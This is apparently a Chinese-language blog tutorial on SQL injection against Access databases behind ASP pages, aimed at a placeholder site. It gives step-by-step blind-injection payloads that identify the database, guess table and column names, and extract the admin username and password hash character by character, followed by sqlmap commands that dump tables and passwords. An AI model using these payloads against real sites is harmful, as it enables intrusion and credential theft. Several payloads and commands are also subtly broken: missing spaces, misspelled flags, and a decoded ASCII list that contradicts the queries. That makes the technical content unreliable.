Access数据库注入
基础部分
假设存在某一个注入点:
http://www.xxx.com/news.asp?id=6
注入流程:
(1)判断是否存在注入点:
http://www.xxx.com/news.asp?id=6and 1=1
http://www.xxx.com/news.asp?id=6and 1=2
两次返回不一样则存在注入
(2)判断数据库
and (select count(*) from msysobjects)>0(返回权限不足 access数据库)
and (select count(*) fromsysobjects)>0 (返回正常则为MSSQL数据库)
(3)猜解表名
and exists (select * from admin)
返回正确 存在admin表返回错误 不存在这个表
(4)猜解列名
and exists (select username from admin)
and exists (select password from admin)
没有出错证明这两个字段都是存在,出错表示不存在该字段
(5)猜解用户名和密码长度
and (select top 1 len(username) fromadmin)>0
and (select top 1 len(password) from admin)>0
(6)猜解用户名和密码内容(假设内容,只为演示)
and(select top 1 asc(mid(username,1,1))from admin)>97
and(select top 1 asc(mid(username,1,1))from admin)=97
and(select top 1 asc(mid(username,2,1))from admin)=100
and(select top 1 asc(mid(username,3,1))from admin)=109
and(select top 1 asc(mid(username,4,1))from admin)=105
and(select top 1 asc(mid(username,5,1))from admin)=110
97 100 109 105 110 admin
and(select top 1 asc(mid(password,1,1))fromadmin)=52
and(select top 1 asc(mid(password,2,1))from admin)=54
and(select top 1 asc(mid(password,3,1))from admin)=57
and(select top 1 asc(mid(password,4,1))from admin)=56
and(select top 1 asc(mid(password,5,1))from admin)=48
and(select top 1 asc(mid(password,6,1))from admin)=100
and(select top 1 asc(mid(password,7,1))from admin)=51
and(select top 1 asc(mid(password,8,1))from admin)=50
and(select top 1 asc(mid(password,9,1))from admin)=99
and(select top 1 asc(mid(password,10,1))from admin)=48
and(select top 1 asc(mid(password,11,1))from admin)=53
and(select top 1 asc(mid(password,12,1))from admin)=53
and(select top 1 asc(mid(password,13,1))from admin)=57
and(select top 1 asc(mid(password,14,1))from admin)=102
and(select top 1 asc(mid(password,15,1))from admin)=56
and(select top 1 asc(mid(password,16,1))from admin)=32
52 54 57 101 56 48 100 51 50 99 48 53 53 57102 56 32
469e80d32c0559f8 md5解出来的密码是admin888
使用Sqlmap实现对Access数据库的注入(这个工具挺强大的,后面博客更新会例外讲到)
(1)爆数据库名
sqlmap–u htttp://www.xxx.com/test.asp?id=69 –database
(2)爆表名
sqlmap–u htttp://www.xxx.com/test.asp?id=69 -D flag –tables
(3)爆字段
sqlmap–u htttp://www.xxx.com/test.asp?id=69 -D flag –T admin –columns
(4)爆列值
sqlmap–u htttp://www.xxx.com/test.asp?id=69 -D flag –T admin –c password –dumps